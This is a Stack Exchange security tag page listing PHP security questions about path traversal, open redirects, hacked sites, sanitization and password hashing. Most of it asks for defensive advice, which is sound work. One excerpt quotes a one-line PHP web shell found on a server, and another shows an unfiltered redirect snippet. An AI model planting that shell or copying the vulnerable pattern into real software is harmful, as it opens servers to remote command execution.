Security aspects concerning code written in the programming language PHP which is often used for web applications.

learn more… | top users | synonyms

0
votes
0answers
26 views

PHP null byte exploit through cookie

I have a challenge(centos) where I found a null byte based path traversal vulnerability in the 'user' cookie on a simple PHP/5.1.6 on Apache/2.2.3 based web app. I'm able to include the /etc/passwd ...
0
votes
0answers
47 views

null byte injection no response from environ

I have a challenge I'm working and I need some advice please. I found 2 null byte injection points on the web service, both of which gives me the contents of /ets/passwd when I do old ...
1
vote
2answers
69 views

Tracing origin of malicious PHP script

I'm looking at a Linux server running Apache + mod_php. A malicious PHP script was uploaded during the night. It's owned by the Apache user and I would think it almost certain that the script was ...
4
votes
4answers
266 views

Is it safe to redirect to URL parameter without filtering?

A webpage redirects to an URL given in parameter redirect without filtering it, like this: $newURL=$_GET["redirect"]; header('Location: '.$newURL); login.php?redirect=home.php If it echoes the ...
0
votes
1answer
37 views

Free tools to run automated security audits for PHP code? [on hold]

I'm looking to scan my code for potential risks of SQL Injection, XSS, etc. Are there any free tools that can analyze code and give the complete reports. Thanks
-7
votes
1answer
75 views

I want to learn hacking but unable to connect to internet [on hold]

I'm not sure if this is offtopic or not but i'll ask it anyway. Im 15 and i am into web design and development, working on PHP and MySQL. And i want to learn hacking but unfortunately my windows ...
1
vote
1answer
70 views

Hacker uploads script as image

Yesterday someone used my image upload form to upload a php script in a picture.jpg file. I can not include the whole code because its about 176735 characters, you find the beginning of the giant ...
3
votes
2answers
671 views

How can I recover from a hacked WordPress site and prevent future attacks?

I have a dedicated server running WordPress and have recently noticed that its been hacked and PHPShell a remote web server controller has been uploaded. This has let the hacker view and edit files ...
2
votes
2answers
62 views

PHP filter_input() not protecting from eval()

I was updating some PHP code following the advice of not using $_GET and $_POST anymore but instead to switch to the safer filter_input() functions. I was thinking that function would save me in this ...
3
votes
1answer
149 views

Best way to hash passwords in PHP 5.3.5

What is the best way to hash passwords in PHP 5.3.5? Since in this version doesn't have password_hash().
4
votes
1answer
90 views

Is this sanitization method secure?

I implemented this sanitization fix: function san($str, $type="full") { switch ($type) { case "full": $str = preg_replace("/[^a-zA-Z0-9_\-]/i", "", $str); break; ...
2
votes
2answers
161 views

How to test image upload vulnerability in a mobile application?

I am administering a mobile application with many users. Users can upload their own .jpg images. I cannot know at this moment if image inputs on the application I am administrating are sanitized or ...
2
votes
1answer
90 views

Can data coming into my UDP server be sniffed?

I have made a small tracking device. I am trying to reduce the data overhead as much as possible to make the device very cheap to run. We are working on the basis that 1MB = £0.01 (the data price at ...
1
vote
1answer
38 views

Functions in common server-side languages which are used to execute code [closed]

I want to know the list of functions which are used to evaluate strings to code. For example: in PHP we have the eval function which evaluates a string to PHP code. Input passed into eval without ...
2
votes
1answer
42 views

PHP code in filename located in /tmp folder. How worried should I be?

I recently discovered a hidden file in /tmp owned by proftpd that worries me a bit: -rw-r--r-- 1 proftpd nogroup <timestamp> 86 .<?php eval($_REQUEST[cmd]); ?> I ...
0
votes
0answers
82 views

My website is getting this request all day long every minute xmlrpc.php

I am new to web building and I have word-fence blocking this as googling it tells me it's an attack on my server/website. My question is what are they hoping to achieve, it's not causing that much ...
2
votes
4answers
288 views

MySQL user passwords in PHP

How do I prevent exposing MySQL usernames and passwords in PHP code when establishing a connection?
1
vote
1answer
82 views

PHP BLENC extension security concern

PHP BLENC is a extension that allows PHP developer encrypt their code, protect their ideas and avoid illegal copy. Although BLENC allow developer to define the main encryption key in source(in the ...
14
votes
4answers
2k views

Why do browsers warn about mixed content for images?

I'm dealing with a phpBB forum user who wants to set up SSL on their entire site to secure user credentials and "private" parts of the website. However, they want to preserve the traditional forum ...
2
votes
1answer
20 views

Is it necessary to sanitize data being passed into the hash_hmac in php?

I have a page that takes in arguments that could possibly be changed by a malicious user. I am checking to make sure that the contents have not been unexpectedly changed by using HMAC. In php, there ...
0
votes
1answer
77 views

Wordpress - 3.9 - uploading a php file through media gallery

I'm using Wordpress 3.9.2. As we all know, Wordpress media-upload has some restrictions - you can't upload a PHP file, cause it may be malware. There is an app called: iCon2PHP that can merge php ...
0
votes
2answers
58 views

What are the possible security issues when making a checkout system in Javascript?

I'm pretty new to JS and I am currently making a simple step-wise checkout system using purely JS and some Ajax and PHP. I have been wondering about the possible security issues that might pose with ...
1
vote
3answers
116 views

CLI API that requires plaintext user details

I've been tasked with writing a module for my company to interface with an external api. This api has a syntax similar to ssh where I have to incorporate the user details as well as the host address ...
4
votes
2answers
825 views

How secure is AES-256-CBC with user provided password and initialization vector

From my understanding the IV is used as a previous block for the first block only. But since each block is used by the following this adds significant security is a IV is provided and not based on the ...
0
votes
0answers
4 views

Do file_get_contents and readfile execute PHP code? [migrated]

I was always sure that the PHP functions file_get_contents and readfile execute any PHP code in any files - regardless of file type - that are given to it. I tried this on multiple setups, and it ...
2
votes
1answer
115 views

SQL injection vulnerability when using prepared statements in PHP

I've been studying prepared statements and implemented it in my first login. I used a prepared statement for the SQL query and am wondering if this is enough to ward off most SQL injections? Since ...
2
votes
0answers
48 views

How secure is PHP IMAP? [closed]

I'm working on a project for one of my customers. They want a web environment where the site searches for specific emails for specific users and makes the attachments of those emails accessible to ...
0
votes
1answer
105 views

Can there still be SQL injection when storing the password as a hash?

Could there be any SQL injection vulnerability in the code below since it only queries the database for username and bcrypt hash? Would the vulnerability of this code be more on the bcrypt hashing ...
1
vote
1answer
387 views

Is this enough to tackle script / malicious code insertion in GET, POST requests?

I've got legacy PHP code which attempts to prevent script/SQL injection with the following: if (!empty($_POST)) { reset($_POST); while (list($k,$v)=each($_POST)) { ...
1
vote
1answer
39 views

How many possible randomly generated salts could be generated using PHP's password_hash() function?

I have two questions here: 1) How many possible randomly generated salts could be generated using PHP's password_hash() function? 2) According to php.net it states that the return value is a ...
40
votes
3answers
4k views

Security Review - password_hash implementation for PHP

I'm currently working on a "helper function" for PHP's core to make password hashing more secure and easier for the majority of developers. Basically, the goal is to make it so easy, that it's harder ...
34
votes
3answers
15k views

How does “check.torproject.org.” know if you're using TOR?

I'm looking at the results from the following URL and would like to know how does the TOR website "know" that TOR is being used or not. ...
3
votes
2answers
48 views

Securely Erasing Cookies

Is there any sort of officially defined procedure (Eg from IETF) on how to correctly unset a cookie? I've always considered it best practice to unset any session cookies at logout for a web ...
-4
votes
1answer
64 views

Sum two SHA256 to get a SHA512 [closed]

I see this code in a web game SHA512(SeedServer + "|" + SeedUser) and I'm trying to reproduce this hash. I tried in PHP: <?php echo hash('SHA512', ...
2
votes
1answer
129 views

Best way to encrypt data using php - I am not sure if I doing it correctly [duplicate]

I want to encrypt some data within my php file when I add the stuff to my mysql database. This is how I do it. I create a static key like: $key = md5("pass"); Then I have two functions called ...
0
votes
3answers
186 views

How secure would this method be considered for password storage

Ok I am currently storing the passwords in most secure way I could think of. With use of Encryption and Hash. The passwords are first generated by user as plain-text with minimum length of 6 ...
0
votes
2answers
45 views

Is there a server/website specific malware scanner? [closed]

I have multiple Linux CentOS servers that are scanned with the Google Webmaster Tools, and when it finds some malicious code on my servers(shared/dedicated), the ranking of those site drops. What I am ...
4
votes
1answer
74 views

What is an example of arithmetic and buffer overflows in a php application?

I'm trying to find evidence whether it is possible to have overflows in a php application, whether buffer overflows or arithmetic overflows. I believe it's possible to have these overflows in the ...
2
votes
1answer
45 views

Folder Access restriction in Shared Hosting

In shared hosting (where I don't have access to httpd.conf files) I want PHP files in "MyTargetFolder" to not have ability to access anything in upper directories. It needs some configuration like ...
0
votes
1answer
27 views

OpenSSL_encrypt returning an incorrect cyphertext?

I am trying to use the openssl_encrypt function in PHP, this is my code: <?php $message = hex2bin("00112233445566778899aabbccddeeff"); $key = hex2bin("000102030405060708090a0b0c0d0e0f"); $method ...
1
vote
1answer
62 views

Was my phpMyAdmin hacked?

On a server of mine I have a current version of phpMyAdmin running. Unfortunately (my bad I knew I hat to delete this folder for security after installation, I simply forgot... dangit) I still had the ...
-5
votes
1answer
84 views

What kind of base64 it is? [closed]

So I have a string that is 123456 then I md5 it and now I have hash e10adc3949ba59abbe56e057f20f883e then I don't know what kind of base64 (this is my thought about base64, mb its not base64 ...
4
votes
2answers
384 views

I think my site was hacked. Can someone explain the “GET / HTTP/1.0” garbage in my Apache log, and what it's doing?

Please see below the log entry from the hack, I have decoded the base_64 code and ultimately some files are dropped onto the server and a directory listing becomes available among other niceties! ...
113
votes
2answers
9k views

I found unknown PHP code on my server. How do I de-obfuscate the code?

We've been getting a lot of noise regarding hacked PHP files here, and it's taking a lot of time to answer these questions. In many cases, they are off-topic. We've had a discussion about this on ...
2
votes
1answer
55 views

php's password_hash with system wide salt [duplicate]

I'm thinking about using password_hash function for generating password hashes. I have read that own salts shouldn't be generated and instead use the default one that the function generates. Own salts ...
3
votes
2answers
120 views

My Apache server is regularly challenged with vulnerability attacks: Do I need to worry?

When I look into my access logs: I find a lot of suspicious activity that looks like attempts to gain administrative access to my system using vulnerabilities from known web software products such as ...
-1
votes
1answer
56 views

Is this MySql query sql-injection protected? [duplicate]

I have small php code, before discovering mysqli real_escape_string i was using a function with some regex rules to clean every user input by symbols, but for an email or a password, this is not a ...
3
votes
1answer
435 views

How much of a security problem is PHP's proc_open() on a shared host

My company is developing a PHP system that needs to interact with Git on the server, which can currently most conveniently be done by allowing external calls via proc_open(), system() and the likes. ...
3
votes
2answers
112 views

How can i demonstrate remote file inclusion via get methods

I have been testing my PHP web application for RFI vulnerabilities. While performing scan I was able perform RFI in my web application. Scenario: In my web application RFI works only when the user's ...
6
votes
3answers
286 views

Recreating uploads/linked images with imagecreatefrom* php

As suggested on my StackOverflow question, I am now directing this towards the Information Security group, since no one was able to answer my question despite multiple up-votes. User uploaded images ...